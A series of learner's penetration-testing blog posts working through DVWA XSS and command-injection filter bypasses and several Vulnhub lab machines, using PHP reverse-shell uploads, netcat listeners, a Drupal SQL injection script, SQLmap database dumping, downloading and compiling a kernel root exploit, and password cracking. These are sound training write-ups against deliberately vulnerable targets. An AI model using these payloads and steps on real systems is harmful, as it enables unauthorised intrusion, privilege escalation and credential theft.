Posted in Penetration Testing, web app testing

XSS (Reflected) DVWA Med/High

In the last post I ‘tried’ to give an overview of how I understood Cross Site Scripting (XSS). There is still a lot more to learn, however, with the help of Damn Vulnerable Web App and being able to review the source PHP code, you can take bigger steps to understanding how to launch an attack and protect against it.

So for this post I’m going to tackle both medium and high security settings.

DVWA Security: Medium

enter_name
Figure 1 – Default operation of the Web app

It’s always a good idea to test the default state of any web application. The more you understand how something behaves, the more you can spot it’s weaknesses. Much like people. The more you get to know someone… you know the rest.

Anyway! In the medium setting the operation is still the same. You enter a name and it returns it. Only this time when we try our previous malicious payload the web application returns a different output.

testing_med
Figure 2 – Web application strips out the script tags

On review of the source PHP code it seems there is some sanitation going on.

med_source_php
Figure 3 – PHP code removes script tags from submitted data

From the outset it looks like the web developer has prepared well for the next attack. Changing the script tags to a space will prevent the site from executing the javascript code if we use the previously successful malicious URL.

The funny thing about computers is that they will do exactly what you tell them to do. The sanitisation is looking for the script tags in lowercase letters. Browsers aren’t too fussed about upper and lower case to we might get away with using uppercase?

med_script_payload
Figure 4 – Use of uppercase letters for the script tags

On execution the alert box does indeed pop up, bypassing the strict sanitation that was implemented.

xss_popped
Figure 5 – Successful execution of XSS on Medium security

In the real world it’s unlikely you’ll get to review the server side source code of a web application, however it’s worth trying this simple change out if your initial attempt is unsuccessful.

DVWA Security: High

The source PHP code suggests the web developer has taken extra measures to prevent us from running any script tagged malicious javascript code.

source_php
Figure 1 – Further sanitation of submitted inputs in PHP code

*Spent some time looking up regular expressions

And we’re back…

From the code and from testing this out first (remember testing!) Anytime we enter the full word ‘script’ surrounded by <> it gets replaced with just ‘>’. If we put spaces inbetween the letters like this, ‘s c r i p t’ it is also replaced by ‘>’ No matter what  we try, it always gets sanitised (even uppercase).

After playing around with a few things I landed on a method that doesn’t use the ‘script’ tags.

IMG SRC=’#’ onmouseover=”alert(‘xxs’)” (removing the <> so WordPress doesn’t sanitise my inputs)

omnouseover
Figure 2 – Our broken IMG tag that is likely to force the user to try and click on.

This creates a HTML anchor IMG Source point and whenever the mouse is hovered over it, it pops the alert box with the word ‘XSS’ in it. A successful execution of Reflected XSS on the High security setting, despite the strict sanitation of submitted inputs.

Personally I love the ‘onmouseover’ function, and try to use it where needed.

high-_popped
Figure 3 – Successful XSS execution using ‘onmouseover’ 

Completing the low, medium and high security settings on DVWA does teach you a lot. You need to step beyond just googling “XSS quick wins” and running them against a given security level or sanitisation (if you even get to that part). You really should check what is happening if your script is being sanitised. How can you change it and still execute the code?

Also, what works for one web application might not work everywhere.

Posted in Penetration Testing, web app testing

XSS (Reflected) DVWA

I was in two minds on whether to write this up as Cross Site Scripting (XSS) is such a massive subject and this really just touches the foundations, however, I’ll give it a go.

What is Reflected Cross Site Scripting (XSS)? (From the OWASP website)

Reflected Crosssite Scripting (XSS) occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page.

Put simply, the attacker is able to send malicious javascript code to a victim via a crafted  link and on opening the the victim is met with whatever the javascript code was designed to do reflected to the screen. That, it seems, is in its simplest form. I will hopefully explain further below.

Damn Vulnerable Web App

An excellent resource for any new person training in web application security. On clicking the “XSS (Reflected)” link you will see this screen.

xss_low
Figure 1 – Default state of the XSS app

A simple question. What is your name? When a name is entered it will be displayed back to you on the web page.

enter_name
Figure 2 – Any data entered is displayed on the webpage

During testing, it seems that any data we enter is displayed back to us, and is contained in the core HTML code of the site.

html
Figure 3 – Entered data forms part of the web apps html code

If we look at the source PHP code for the app

source
Figure 3 – Source PHP code

The PHP code just uses the GET function to pull the entered ‘data’ and then display it back to the user. This could prove to be dangerous if there is no checking of the submitted data.

Executing XSS

The most common way to test for Cross Site Scripting is to try and pop an alert box to the screen by getting the browser to run your malicious javascript code. This can be done with a simple addition to the URL.

<scrIpt>alert(0);<scrIpt>

*Wordpress removes the script tags from the above code. See real URL below

url
Figure 4 – URL with malicious script added

When the link is executed by the victim, the screen should show a pop up alert with the number zero in it.

xss_popped
Figure 5 – A successful XSS attack

If the attacker sends the above link to anyone it would execute the javascript code unless something was done to prevent this attack. Looking at the PHP source code available to use, there doesn’t seem to be any checking of any kind and because the site is designed to display the entered data into the website again, the javascript code is executed.

html_popped
Figure 6 – Confirmation that the alert box script is a part of the sites code

The browser will execute the code it is given which results in the alert box pop up. There are many uses for this kind of attack. A more common attack is to steal a users session cookie while they are still logged in meaning the attacker can be logged in as that user simultaneously.

How can we protect against this?

DVWA has some added security settings (Medium & High) to show how to protect against this type of attack, however, you will see that this too can be circumvented to still display the pop up alert box. The alert box simply shows that the site is vulnerable to XSS. It shows the site managers that it is possible to run any javascript code in one HTTP request and have it reflect back to the user who is sent the link. This can be very damaging to end users.

The next post will delve a little deeper into how the Medium and High settings try to prevent this attack but we can still get around the measures put in place to stop the attack.

Posted in Penetration Testing, web app testing

DVWA – OS Command Injection low|med|high

I had a recent spell with OS Command Injection that left me feeling raw. Wish I could explain but sadly I can’t. I was glad to see there was some light relief in the form of Damn Vulnerable Web App. OS Command Injection all set up ready and waiting to play with.

I do remember about 6 months ago looking at DVWA Command Injection and embarrassingly not being able to do it. To be fair, I didn’t make any effort to look it up or review the source code. I hadn’t come across it. This industry has a funny way of showing you things you sidelined.

Security Level: Low

DVWA comes out of the box set to ‘Impossible’ security. Yeah ok, let’s get it changed.

low_security
Figure 1 – Low security setting in DVWA

On entering the Command Injection link on DVWA you are given the option to ping a device. For this purposes of speed, I just pinged localhost.

ping_input
Figure 2 – Ping a network device

Entering the localhost IP into the box returns what you might expect.

127.0.0.1

ping_initial
Figure 3 – Result from pinging localhost

In the bottom right of the screen you have the option reviewing the source PHP code of the web application.

low_source
Figure 4 – Source PHP code of the web app on ‘low’

On reviewing the code the web app on the ‘low’ setting;

  • Takes in the requesting IP and passes it to the variable ‘$target’
  • Determines the OS type
  • Executes a direct command on the Operating System using PHP Shell_Exec

There is no sanitisation of any inputs given to the web application. It performs a direct command to the OS via shell_exec.

Given that in any environment you can chain commands together using certain operators it’s worth a try in this instance.

command_low
Figure 5 – Chaining of commands using the ‘AND’ operator in Linux

Chaining commands works as it would in a linux terminal. A successful output of /etc/passwd to the web page.

How did this happen?

The web developer didn’t write any protection measures in place to prevent users from chaining commands together. Due to the direct nature of the way this web app passes commands to the OS, the OS will run anything it is given. The web app is designed to display what is displayed back in the terminal so to speak.

Security Level: Medium

Remember to set the security to ‘Medium’ before trying the next part.

medium
Figure 1 – Security set to Medium

There’s an assumption that the security of the web application will be tighter so it’s worth reviewing the source code before running a previously successful command.

source_medium
Figure 2 – Medium setting PHP source code

Right away there is some differences to the code. Essentially the same as the ‘low’ setting in the way it handles the variables and passes them to the OS.

  • Takes a variable and passes it to ‘$target’
  • Creates an array of blacklisted characters for checking in a ‘$substitutions’ variable
  • Passes the command to the OS using shell_exec removing any blacklisted characters.

The developer has only blacklisted 2 operators. Both ‘&&’ and ‘;’ do similar things. You can read about operators and their functions here

There are several other operators you can use to chain commands together in Linux.

The web application only looks for 2. You can pipe commands together too, as I have done here.

command_medium
Figure 3 – The use of a pipe to chain commands together

Why did this work?

The web developer did not fully sanitise all possible operators. The OS did not ping ‘127.0.0.1’ but instead ran our command ‘cat /etc/passwd’ instead. I’ll no doubt investigate why it did this, but for now it’s good that it returned what I needed.

Security Level: High

This is where it gets interesting. First off, let’s set the security level to High.

high
Figure 1 – Security level set to High

On reviewing the source PHP code the developer has taken our advice about tightening the security and has placed all known operators in their blacklist. This could prove difficult.

php_source
Figure 2 – All available operators have been added to the blacklist variable

For now it seems that there is no way of chaining commands under these new rules.

On the bottom line the developer has blacklisted the double pipe operator ‘||’ the OR statement. In linux this character is called a metacharacter. It is not constrained by spaces on either side. The web application is strictly looking for ‘||’ with no spaces. Once this condition is true the operator will be blacklisted.

In my example inserting spaces between the pipes escapes any checks from the source code.

127.0.0.1|  |cat /etc/passwd

command
Figure 3 – Successful command execution on High

How did this work?

Technically this should not work as it errors on a linux terminal, however, when playing around on the web app it worked everytime. I’m not happy with the discrepancies here so further investigation is needed I think, however, for the purposes of running OS Command Injection on High within DVWA it was a good exercise.

I think I’ve learned a good number of things I do wish I knew before. Working through the problem, reviewing the source code and following the code is really useful. If you can explain to yourself how the simple web app works, then you can bypass it’s security more easily.

Impossible setting?

Erm, I have reviewed the source code. This is what I know so far

  • Splits up the IP address into octets
  • Checks that it’s been passed an integer (a number)
  • Merges the IP address before running the command.

I’m sure I’ll get to that one day. There’s a ton of other things to learn 🙂

Thanks for reading…

Posted in Thoughts, web app testing

Where did that come from?

road-clouds-street-path

The scene above is one every person, new to InfoSec, should get used to. A vast empty road that rolls on for miles and miles with what looks like, no end.

I feel I’ve reached a pivotal point in my journey. I haven’t written anything in my blog for a few weeks, because I’ve been so immersed in learning. Attacking the Vulnhub VM’s was a great step in the ladder on my road to OSCP, however, I feel I was neglecting my real passion for Web Application Pen Testing so I switched up the format a little in the last few weeks.

The Journey is long

This industry will take you to your limit and beyond. It will test you until you break. Unfortunately I feel I’ve stalled a little in the last few days. When that happens I tend to write about it to iron out the creases.

In the next few days I start the OSCP journey. I would like to have entered into it with more confidence and ability, however, lately things haven’t been going to plan. I felt I was walking the road no problem until I stalled for no reason.

Web Application Pen Testing (WAPT)

On every CTF I gravitated to the Web App challenges. Excitement filled the air. The reality of WAPT is very different to CTF’s and I guess it was something I wasn’t really prepared for. Websites aren’t designed to be vulnerable. Sometimes they just are, sometimes they aren’t. The key is to find the vulnerabilities by way of utilising every skill you have at your disposal.

There lies the problem. A true test of what you think you know comes from entering the world of Bug Hunting on Bug Bounty websites. There is no introductory medium.

Vulnerable beginner Apps —————————–> Live site testing

There’s no medium. One minute your pushing the same XSS payloads to different Vuln Web Apps and likewise with SQLi . One day you just have to jump into the real world.

Sucking it up

You get down about failing. It’s human nature. You feel embarrassed. You want to crawl into a cupboard and let the storm blow over, however, get over it.

There’s teenagers that know more than I do about WAPT. It’s depressing to read disclosure reports and not know one thing about what’s in them. Your silly little XSS payloads that worked so well in your vulnerable web app won’t work here. You’re going to need to come up with something more special to fool decades of experience in web development.

I’ve been told I need a solid grounding in WAPT experience to get by in OSCP. Of course that was a kick in the groin. I had a difficult last few days trying out Bug Hunting getting my rear end handed to me on a plate. I’ve learned a lot in two days, and that’s important.

Moving On…

I expect a lot from myself. Sometimes it causes greater crashes, however, I don’t walk the road. I run it. I just need to train harder, give myself a slap and use my time more effectively.

Soon new roads won’t seem so daunting. You won’t fear the journey. You’ll get excited about what you’ll learn on the way. Writing about how you feel can make a massive difference. Even if no one reads it, it can help you clear the cobwebs and confusion.

Seize the Day!!

P.S. – This was me trying to kick my own ass today. I sat with my head in my hands wondering where the hell I was going and what I was doing. That won’t happen again.
Posted in Penetration Testing, web app testing

Sick OS 1.1 Vulnhub VM

Hosted by Vulnhub
Author: D4rk36

Thank you!


 

I do more in depth nmap scans than the usual I post here, however, the finished article is usually the one the yields the most straightforward results.

I’m using VMware Player 12 with NAT networking.

nmap -sS 192.168.187.135 -A

nmap_Sick

I’ve highlighted the ports of interest here. A proxy setup I actually use in my job so it was a little odd to see it in a VM. In order for you to see any websites in this set up we need to point our browser to the IP address and port 3128.

proxy

Once we visit the web page of the Sick OS 1.1 server we get this.

bleh

Not very helpful. Viewing source is a waste of time as there’s nothing there. I ran a dirb scan and found a /robots.txt file.

http://192.168.187.136/robots.txt

robots_sickOS

Oh what do we have here? A /wolfcms directory? Don’t mind if I do.

wolfCMS

I’ve used various content management systems in my time, however, navigating around the site always helps to get a feel for how it’s set up, how it operates and how the links change and to where. Both links don’t really offer much, however their URLs might.

/?articles.html
/?about-us.html

No login page link, so I went out into the ether in search of an answer. I found this post on the WolfCMS forums. Company forums are a haven for excellent information. You can find out a lot about an application from a company forum. Even a fan forum can provide.

https://www.wolfcms.org/forum/topic2034.html

From that we find an admin page link and a few other tasty treats on the forum about a ‘config.php’ page in ‘/var/www/wolfcms’ that could be of use later.

We got to http://192.168.187.136/?admin

loginPageWolfCMS

I searched a few forum posts to see if I could find a default admin login. There’s always a default login for these things. I tried a few things, however, admin:admin was the correct credentials. We get in.

loggedInCMS

On login I received a quick pop-up telling me that Wolf CMS was out of date. Starting to see a theme here. My natural curiosity spots the version number ‘0.8.2’ and flies off to the interwebs for any vulnerabilities. I came across this.

Wolf CMS 0.8.2 – Arbitrary File Upload Exploit

A snippet from the site reads.

This exploit a file upload vulnerability found in Wolf CMS 0.8.2, and possibly prior. Attackers can abuse the
upload feature in order to upload a malicious PHP file into the application with authenticated user, which results in arbitrary remote code

I’m instantly thinking PHP Reverse Shell. Only because I’ve been able to use it so much recently. Why shouldn’t it work here? I navigate to the ‘Files’ tab of the CMS.

PHPupload

As you can see I’ve already got my shell ready to go. No need for Burp or Tamper Data here. we can just upload to the server. Logged in as admin helps with that.

Listen

From this point you’d be opening terminal and a netcat listener

nc -lnvp 1234

We uploaded our shell script to the /Public/ folder so visiting the link below should be enough.

http://192.168.187.136/public/shell.php

Once we hit that, you’ll notice instantly that we have shell on the server. If only everything was as easy as this.

GotShellCMS

A quick python one liner to get us into a familiar bash shell.

python -c ‘import pty;pty.spawn(“bin/bash”)’

So what now?

As with anything, getting shell if you have that type of vulnerability is the easy part. The next part can vary depending on what the server set up is and the type of OS it is.

Again we’re logged in as ‘www-data’ and from earlier VM’s this has been a very limited account. I mentioned earlier that from the forums I obtained some information about a config.php file. To my surprise I was able to navigate to ‘/var/www/wolfcms’ and read the config.php file. In there I found this.

DBUserCMS

We have a root DB user with a password. Excellent. From the forum set up guides no one should be able to do this. One of the first things they get you to do is limit the www-data account. Not here obviously. Don’t always assume you have limited access.

I also found a user called ‘sickos’ with the ID of 1000. Probably a user account created after the server was made. I noted this down for later.

Stuck

I tried various different methods of looking for things that would work here. I was maybe over complicating it. I tried loads of stuff.

  • Previous Priv Esc exploits.
  • Went rooting around in the DB with the credentials I found.Learned a lot about MySQL from that though.

I took a break and chatted with some others in Slack. They were asking how I got on and I explained where I was at. One guy pipes up “Oh yeah just switch user to root on that one” What? you’re kidding…

Off I went to educate myself on this. Surely it can’t be that easy?

switchUserPNG

Yes it was.

gotRoot

So we

  • Switched user to sickos
  • The sudo SU and got a root interactive terminal

I guess my limited time as a Linux user let that one slip. Being a Windows Admin and solely using Windows has me at a disadvantage when it comes to enumerating users, groups and permissions on Linux. Noted for the future.

What did I learn?

I think it would be silly to do these and not take anything away from them. I’d certainly say that it’s not always the most complicated of things that get you root. Look deeper and take note of everything you find, and learn why it is the way it is. I breezed by the sickos account. Probably shouldn’t, however, we learn.

Posted in Penetration Testing, web app testing

SecTalks: BNE0x03 Simple CTF

Hosted by: Vulnhub
Created by: @RobertWinkel (Bull)


 

I had a lot of trouble trying to get this VM to get a DHCP lease. For some reason VirtualBox was broken so in trying this, I also managed to fix VB too.

After all the shenanigans I was able to get an IP for the Simple CTF box. Great! A quick nmap scan then.

nmap -sS 10.0.2.6 -A

nmapScan

We see that port 80 is open. It’s running Apache on Ubuntu and with the http-title “Please login / CuteNews” Ok why not?

WebsiteLogin

Not much to look at here. I created an account with the credentials test:test. Logged in to the portal and started looking around. I navigated to the ‘Help/About’ page where I was met with a pop up box alerting me to the fact that Cute News v2.0.3 was out of date and I had to upgrade due to security issues.

cuteNewserror

This is great news for a trainee Pen Tester. It actually tells me what I need to do next.
I instantly fire off to Google and search for ” CuteNews v2.0.3 exploit” Low and behold, a lovely exploit-db link for me to go into (after I clicked on a few others of course).

CuteNews 2.0.3 – Arbitrary File Upload Vulnerability

I read through every wee detail, however, it started to sound a lot like a reverse-php shell situation. I was very excited indeed.

Carving the exploit

The details of the exploit reveal that an account must be created, and you need to upload an evil.jpg as an avatar image, use Tamper Data to change evil.jpg to evil.php. I’ve used Tamper Data before, but I wanted to try Burpsuite for this.

Using the excellent PHP-Reverse-Shell from Pentest Monkey I edited the file to linkback to my Kali box IP and saved it as Evil.JPG. Didn’t need to use Evil, but it’s fitting.

After that, I opened Burpsuite and proxied the CuteNews site through Burpsuite. Details of that can be found all over the net. I set the stage so that I just had to hit ‘Save Changes’ on the Cute News Profile Page. Burp caught the request before it was sent to the web server.

BurpGrab

As you can see it has the uploaded file in the request. Just take out the .jpg part and replace it with .php and hit ‘Forward’ on the menu bar. The Burpsuite part is done for now so close it all down as it causes problems later when we get shell. Trust me.

Where did the upload go?

At this point we have no way of calling our Evil.php file so we need to find a way to get to the URL. This is where DIRB comes in handy. CTRL+ALT+T for  a new terminal tab and type in.

dirb http://10.0.2.6

This will use common wordlists to map a websites directories. It’s a lot quicker than DirBuster. We get some results.

dirb

I initially fired over to the /docs/ folder, however, the file wasn’t there. Funnily enough it was in the /uploads/ folder.

avatarLocation

The webserver renamed the file to ‘avatar_test_evil.php’ Not a big deal. Before we click on the newly uploaded PHP-Shell we need to create a listener on our machine to create the connection from the CuteNews Server.

nc -lnvp 1234

Port 1234 was the port defined in the Evil.php shell script we uploaded. Within a few seconds of us clicking the ‘avatar_test_evil.php’ we have a remote shell to the server.

shell

Excellent! I really do love this method a lot. I like to create a bash style shell so I type this into the prompt once I’m in.

python -c ‘import pty;pty.spawn(“bin/bash”)’

This just creates a bash shell for use to make it easier to identify where we are in the directory structure.

Privilege Escalation

We are shell on the server as www-data an Apache own limited user with limited functionality and options. No good. We need to gain higher privileges. This test was starting to go along the lines of a previous VM I did, Droopy. I checked the version if Ubuntu.

lsb_release -a

Wow it was the exact same version of Ubuntu ‘Ubuntu 14.04.2 LTS Z codename: trusty’
I just went along with it and went into gung-ho mode. I used an exploit for priv-esc on Droopy so I thought I’d give it a try again.

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – overlayfs Local Root Shell

Navigating to the /tmp/ directory I ran this command in shell on the server

wget https://exploit-db.com/download/37292

I also did the following after I downloaded 37292.

  • mv 37292 37292.c
  • gcc 37292.c -o rootMe
  • chmod +x rootMe
  • ./rootMe

4 command lines later and we have a root shell.

GotRoot

A quick ‘cd /root/’ and then a ‘cat flag.txt’ and we had the flag!!

flag

Excited!!

After the initial VirtualBox trouble I had with this one I was really quite surprised when I popped Root on the box. Apart from going to Exploit-DB for the initial exploit I did this one all on my own and that’s a great feeling indeed.

It took me longer to write this post than it took to get Root on the server.

Thanks again to Vulnhub and Robert Winkel for this VM.

Posted in Penetration Testing, web app testing

Lord of the Root VM – Vulnhub

Lord of the Root VM – Vulnhub

After Droopy I was advised to try this one. Created by Kooksec – Thanks!

A lot of soul searching went on in this one. A lot of reading and doing it in between life tasks so it took me all weekend really.

A standard nmap scan throws up nothing but port 22 open (SSH). I tried so many variations of nmap scans to get past “All ports are open|filtered” I probably should have just tried logging into SSH.

SSH

Funnily enough I had just tried a VM that involved port knocking. Simple CTF I think it was. All ports were filtered too. Thought I’d hit it hard on this one.

I had to do some digging around for a few hours on Port Knocking.I created a bash script to automate port knocking using Hping3

Knocked on ports 1,2 & 3 from the hint in the SSH banner “Easy as 1,2, 3” I did try 80, 8080 & 9090 as they are usual VM ports. Not this time.

nmap

Logging on to the webpage gives us this.

webPic

Nothing of note here.

Viewing the source of the page reveals an images folder.

imagesDir

Naturally we want to check that there’s a robots.txt file.

404IMG

What’s this? Lets view source again to see what else we can find.

404TxT

I’ve done a lot of lower level CTF’s and they always use base64 to fool people. Let’s convert it.

echo “THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh” | base64 –decode

1base64

Ok, lets do the same. Now we’re getting somewhere!!

2base64

Looks like a useful link

webLogin

YAAY a login page!!

Basic SQLi injection didn’t work. Lets go to the trusty SQLmap and pull a request from Burpsuite like we did in a previous VM.

Using a saved request file from the url http://192.168.1.103:1337/978345210/index.php We can see what the DB type is.

I should note at this point that any SQLMap scan done on this site will be done under time based conditions. This means that it checks each character of the name of any DB or table and if it’s true it’ll wait a certain amount of time to try the next one. This varied in my tests. Most amount of time was 5 seconds. It took 10 mins to get this far.

WebappDB

The DB seems to be MySql and we’ve found the DB name, so lets dump the DB.

WebappDump

The resulting information from the command.

DBenum

It looks like we’re flying along nicely.

I tried to SSH into the server using all those accounts and only the ‘smeagol’ account would allow me in. However, we’re running as a normal user. I tried running an earlier priv esc exploit from another VM, however, that was unsuccessful

I needed to find out how to get to a root account. In an earlier scan to find the name of the DB I came across another DB name ‘mysql’ I suspected a system DB default to the server. Lets see what’s in it.

mysqlDBenum

Interested in the result here

mysqlTBLenum

Lets try and pull the details from the user table.

Of course everything we do is based on a time based attack so everything is working slowly.

I ran the command

mysqlTBLdump

This ran for a bit but seeing as I seen the results for columns User & Password I canceled the scan and tried to hit those directly.

 

mysqlUserPassworddump

Again this takes time to run on a time based attack. You can let SQLmap run it’s own polling interval. It’s worthwhile to let this do it to save on errors.

mysqlUPdumpResult

After a while things start to look good again. We’ve found the root user but with hashed passwords.

You get the option to crack the password hashes with SQLmap. I hit Yes to this. It ran pretty quick and found what I was after.

crackedHashes

We’ve found the ROOT password. ‘darkshadow’

I tried logging in over SSH with this, however, I got ACCESS DENIED. Crikey!!! That would have been too easy. It then dawned on me that this was not going to be that easy.

I floated around the net for a bit looking for hints. I touched a few walkthroughs that to be honest didn’t make much sense. Probably because I came in from a different angle.

loginMySql

I logged into MySql with the ROOT user I found in the other DB. I got in. Now what? Loads of other people were using their own scripts in Python and C, to do things with the SQL DB while logged in as ROOT however, I didn’t really understand all that yet. Bit above my level.

A few people mentioned in their blogs that there was an exploit available for priv esc in MySQL if MySQL was running as ROOT. I Googled around for a bit and found the information below.

Gaining Root Shell using MySql User Defined Functions

I admit I didn’t understand it at first from the site above. I sat for most of the day trying to get my head around it. They gave you clear instructions on how to do it, however, I don’t blindly just follow things I read on the net. An old Sysadmin thing I’ve yet to shake off.

Needless to say I followed this exploit to the letter and I was able to get root and find the flag. This VM probably was above what I’m learning at the moment, but, I wanted to give it a try.

Flag found!

Flag

I think it’s important to understand what you are running. From what I can gather, MySql was running as root so we inserted a shared function into a new database. Run it as root and get shell on the server. (In essence)

Summary

I haven’t completed the whole write-up for this, purely because after I found the root accounts, I felt like it was done by way of following a tutorial that someone else made. Yes I learned a lot, however, in the last post I fought hard filling in the blanks to find the goal to the end. This one felt odd when I found the flag. I had to go over it a few times and It’s still a little hazy to say the least.

Maybe this one was a tad more than I know just now, and that’s ok. It happens. In fairness I really don’t like using automated tools like SQLMap and Metasploit. I feel very disconnected from the test. I think in this case it was helpful to use SQLMap for such a complex query to cut done on time taken.

Never mind, onto the next one!!

Thanks again to Vulnhub for hosting VM’s in such a great environment for learning.

Posted in Penetration Testing, web app testing

Droopy v0.2 Vulnhub Writeup

I’ve been working on this epic VM for a day now. I am using Vulnhub to get a feel for how the labs are in the OSCP course/exam. I won’t lie. I did look up a few tutorials just to get a feel for how it all went as I was totally clueless as to how to attack this one. However, most of the tutorials left out big chunks of how to do this and most of my time was spent ironing out the creases. Whether that was deliberate of the authors of the tutorials remains to be seen.

This is a big one and the amount I’ve learned from this has been amazing.

Droopy v0.2 VM

After having some grim issues with VirtualBox I set about port scanning with nmap

nmapScan

I see that on port 80 we have Drupal 7. I went straight to my browser and went to the IP address of the server.

Website

I looked over a few tutorials on how to attack Drupal 7 and found that a lot of the links were dead or the scripts just gave me errors. I went to Exploit-DB and searched around for a bit. This particular version of Drupal was vulnerable to an SQL Injection that created an admin account. Exploit-DB gave details of a Python script called ‘drupalSQLi.py’ that could so just the job, however, it gave a few errors on running. I went to google for the ‘drupalSqli.py’ and found it on this site

https://www.homelab.it/index.php/2014/10/17/drupal-7-sql-injection/

After I downloaded the script, unpacked it and the like I ran this in terminal

python drupalsqli.py -t IPADDRESS -u admin -p admin

pythonSQLi

SUCCESS!!

GotAdmin

I logged in with my newly created credentials. In some tutorials it mentioned that you had to enable the ‘PHP Filter’ Some then went off on path I was unfamiliar with.

phpfilter

After saving this setting change, I went back into the Module settings and changed something else.

phpCodeText

This setting would enable the post to be treated as PHP Code. After a few attempts this was my conclusion.

I already had the ‘ReversePHPShell.PHP’ file from PentestMonkey so i created a new post and pasted the PHP code into the text field. Called it ‘test’ and saved the blog post.

Be sure to edit the link back IP address to your box IP  in the reverse PHP code.

I created a netcat listener

nc -lnvp 1234

Refreshed the homepage of the website and got shell.

netcat

Most people after this worked in this mode. One person gave a good tip that I found really useful. Inserting the below Python script turns the shell into a familiar BASH type terminal

pythonBash

It’s handy because it lets you know where you are at any one time. It’s actually useful later.

Now we need to get ROOT

We are currently in Shell as a normal user. How do we get root from here? By this point I was still kind of following the tutorial and filling in the blanks as I went. I knew it wasn’t going to be straight forward and it wasn’t.

We need to change directory to a writable folder.

cd /tmp/

In some tutorials they talked about ubuntu 14.04 being vulnerable to a Priv Esc exploit using a program written in C. I spent a large portion of my time trying to get this to work as it wasn’t clear on any of the tutorials.

In the /tmp/ directory while still in shell on the server type this command in

wget https://www.exploit-db.com/download/37292

Once you have downloaded the 37292 file you need to do something that everyone misses out. Add a file extension.

mv 37292 37292.c

I received no end of errors trying to compile that 37292 file until I done the above step.

Now that we have a recognized ‘C’ file we can compile it. The below image will detail the steps taken.

PrivEsc

In essence we did this

  • downloaded the 37292 file
  • renamed it 37292.c
  • compiled it using gcc and output it as privesc
  • made it executable by using chmod +x
  • run it with ./privesc
  • Quick ‘whoami’ shows us as ‘root’

YAAY! ROOT

Sadly this is where a lot of the still live tutorials stopped. They got root and that was the end of it. According to the VM spec there was a flag we had to find. A couple of people went further but they weren’t too open about how it was done. Again this could be deliberate so I had to investigate further.

In the ROOT directory there is a file ‘dave.tc’ On further investigation this is a TrueCrypt file. Software that encrypts drives and file systems and is no longer supported or maintained. Hmm. A few authors used ‘TrueCrack’ to crack the encrypted ‘dave.tc’ file system. However, there’s some things we need to do first.

Rockyou.txt & emails

Some authors glazed over the fact that you could navigate to /var/mail/ and read the email hint that was left on the server. In fact you had to ‘cat www-data’ to read the email hint.

cat www-data

email

When you’re learning Pen Testing, you do use the ‘RockYou.txt’ wordlist file a lot when brute forcing logins created for us N00bs. It was the first thing that popped out at me when I read this hint.

By this point all the tutorials tell you to grep a file and out output the contents to a new file for use later. Following these tutorials will have your next step fail. Here is the steps to take. Navigate to;

/usr/share/wordlists/

Enter this command

grep “academy” rockyou.txt | cut -d “:” -f2 > /root/rockacad.txt

This command is different to all the tutorials as it pulls the passwords only from the rockyou.txt file. If you follow the other tutorials you will end up with a file with these contents.

username:password

This will fail in the truecrack attempt. The above grep command searches the file for anything related to ‘academy’ and cuts out the right column where the delimiter is ‘:’

It took me a few attempts to figure out why the TrueCrack command was failing.

dave.tc

We’re still not in the clear. We can’t run ‘TrueCrack’ in the shell so we need to get access to the ‘dave.tc’ file on our local system to crack it.

After a few failed attempts I found a working solution.

mv dave.tc /var/www/sites/html/

This moves the ‘dave.tc’ file to a location in the root of the website so we can use ‘wget’ in local terminal to grab the file.

Now in a separate terminal window (CTRL+ALT+T) we can run

wget http://ipaddress of site/dave.tc

This runs and we get a copy of ‘dave.tc’ in our current working directory.

TrueCrack

Truecrack will attempt to crack ‘TrueCrypt’ files with a given wordlist. Knowing that our previous work on should be useful given the email hint lets give it a crack.

truecrack

From the image we’ve cracked the password for the ‘dave.tc’ encrypted file system.

The password was ‘eatonacademy’ The command used was

truecrack –truecrypt ./dave.tc –key sha512 –wordlist rockacad.txt

VeraCrypt

Since TrueCrypt isn’t easily available I had to search an alternative. Veracrypt seemed like a good idea. I installed it, decrypted the drive, mounted it and searched through the directories. Some are hidden, however, at this stage I don’t want to give the whole game away, but, it’s fairly easy after you’ve mounted the drive.

The result?

Flag

There was a lot of gap filling in this one, and I’m glad people leave things out of tutorials. It makes you think more and it helps edge you closer.

But you got some help?

Vulnhub has been an amazing place to play. The VM’s are nothing like Metasploitable 2, static websites or live boxes. They are designed to make you think. I needed to break out of the prescribed path for trainees. Sometimes you just need to look up tutorials to get a step for a hint. The lessons I’ve learned doing these Vulnhub VMs will certainly be useful at some point. Documenting the progress will be a reference point for later use.

 

Thanks!!

Thanks to Vulnhub for hosting the VM and to knightmare for creating it.

Posted in Penetration Testing, web app testing

DB enumeration with SQLmap

In the last post I performed a brute-force dictionary attack on a login page to gain entry to the admin panel. This was a very basic attack using a known weak password I set beforehand. Now I’d like to use this weak Web Application to perform some database enumeration.

Seattle Sounds v0.3 VM

Similarly to the last two topics, I’ll be using the vulnerable VM ‘Seattle v0.3’ from Vulnhub created by HollyGraceful. You can find the VM here

Let’s get started

Burpsuite will come in handy here once again as we can use some of the information in a request we send in the proxy. Review the last post to see how you would grab a request sent from your browser. In this example we won’t be grabbing a request sent from a failed login.

Navigate to one of the items for sale on the site. It can be anything. Now click into an item. Turn Burpsuite Interception On and refresh the page. Burpsuite will grab the request similar to the one shown below. Navigate your way to Burpsuite > Proxy > Intercept

Request

Right click the request text and save to /root/request.txt – This will help you follow the rest of the post as this is referenced a few times in the command line later.

Now that we have the request.txt file we can now close Burpsuite and the browser if you wish.

Terminal

Open a terminal session. I’m using Kali Linux for my example. At the prompt enter this command.

sqlmap -r /root/request.txt

I’ve tested this a few times with different parameters, however, the above command should be enough to grab the database type.

rootRequest

As you can see SQLmap has identified the database backend to be ‘MySQL’.  An Open Source database platform widely used in conjunction with Apache web server.

Why is this important?

Determining the database is very important. Maybe not for the purposes of SQLmap as most of the process is automated, however, behind the scenes, SQLmap will alter SQL statements to query the DB depending on the version of the DB. The commands are different for different versions of a DB. In cases where you are enumerating a DB manually, you first need to know the version type or your commands might not work.

Let’s grab the DB name

You will see from the next part and also through testing, why the previous part may not be useful. A lot of people would likely just jump to using this next command to identify the current DB in operation. Enter the command below to identify the current DB.

sqlmal -r /root/request.txt –current-db

Sqlmap will throw up some information on some of the commands used to enumerate this information. The result should hopefully be this.

DBfound

